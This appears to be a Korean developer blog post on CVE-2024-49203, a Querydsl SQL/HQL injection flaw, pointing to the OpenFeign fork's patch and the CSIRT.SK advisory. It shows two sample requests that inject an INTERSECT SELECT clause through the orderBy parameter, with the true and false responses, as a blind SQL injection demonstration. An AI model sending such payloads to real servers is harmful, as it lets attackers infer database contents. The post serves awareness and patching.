오랜만에, Spring 공부를 하며 다시 프로젝트를 셋팅하고 있던 와중 gradle의 의존성 추가 부분에서 안내문을 접했다.
검색하는 과정에서, Querydsl을 사용할 때 보안 이슈가 발생할 수 있다는 점을 알게 되었다.
특히 사용자가 orderBy값을 제공하는 경우, blind SQL injection이라 불리는 형태의 공격을 당할 수 있다고 한다.
예를 들어, 아래와 같은 요청을 서버에 보낸다고 생각하자.
http://localhost:8000/products?
orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'2')='2'+ORDER+BY+t.id
HTTP/1.1
SELECT t1
FROM Test t1
Order By t1.name INTERSECT
SELECT t
FROM Test t
WHERE (SELECT '2')='2'
ORDER BY t.id ASC
HTTP/1.1 200
Content-Type: application/json
Date: Tue, 08 Oct 2024 13:34:57 GMT
Content-Length: 27
[{"id":1,"name":"test123"}]
이 경우 (SELECT '2')='2' 비교가 True이기 때문에 정상 결과를 반환한다.
반면 조건이 False일 경우에는 이런 응답을 받을 수 있다고 한다.
http://localhost:8000/products?
orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'1')='2'+ORDER+BY+t.id
HTTP/1.1
HTTP/1.1 200
Content-Type: application/json
Date: Tue, 08 Oct 2024 13:36:30 GMT
Content-Length: 2
[]
이러한 방식으로 서버의 데이터 존재 여부를 유추하거나, 더 심각한 공격으로 확장할 수 있다. 이 취약점은 공식적으로 CVE-2024-49203으로 등재되었다.
NVD - CVE-2024-49203
References to Advisories, Solutions, and Tools By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on
nvd.nist.gov
NVD 공식 페이지를 통해 관련 취약점 정보를 확인할 수 있는데, 여기서 제공하는 외부 링크를 통해, 관련 GitHub PR 및 Release 정보를 참조할 수 있다.
현재는 OpenFeign 조직이 Querydsl을 포크하여 별도로 관리하고 있으며, CVE-2024-49203 취약점 대응을 포함해 보안 패치를 완료한 상태다. https://github.com/OpenFeign/querydsl/pull/743
이곳을 통해 OpenFeign 조직에서 Querydsl을 계속 유지보수 하는 것을 처음으로 알고 있는데, 김영한님께서도 직접적으로 언급을한 것으로 보아 어느정도 신뢰를 할 수 있는 프로젝트인 것 같다.
다만, 실제 적용 후에도 직접 테스트해보면서, 다른 문제가 새롭게 발생하지는 않는지 추가로 확인해봐야겠다.
출처
https://www.csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html
Querydsl and OpenFeign Querydsl Java Library Vulnerability Permits SQL/HQL Injection | CSIRT.SK
Security analysts of CSIRT.SK discovered vulnerability CVE-2024-49203 in Querydsl and OpenFeign Querydsl library for Java, which allows attackers to perform SQL/HQL injection attacks. PDF English version PDF Slovenská verzia Vulnerable systems: queryds
www.csirt.sk
'Server > JPA' 카테고리의 다른 글
[JPA] Soft Delete를 위한 @SQLDelete, @Where (0) | 2023.01.06 |
---|---|
[JPA] Delete와 DeleteById 차이 (0) | 2023.01.02 |
[JPA] 01. JPA 시작 (0) | 2022.09.15 |
[JPA] 00. JPA 소개 (0) | 2022.09.14 |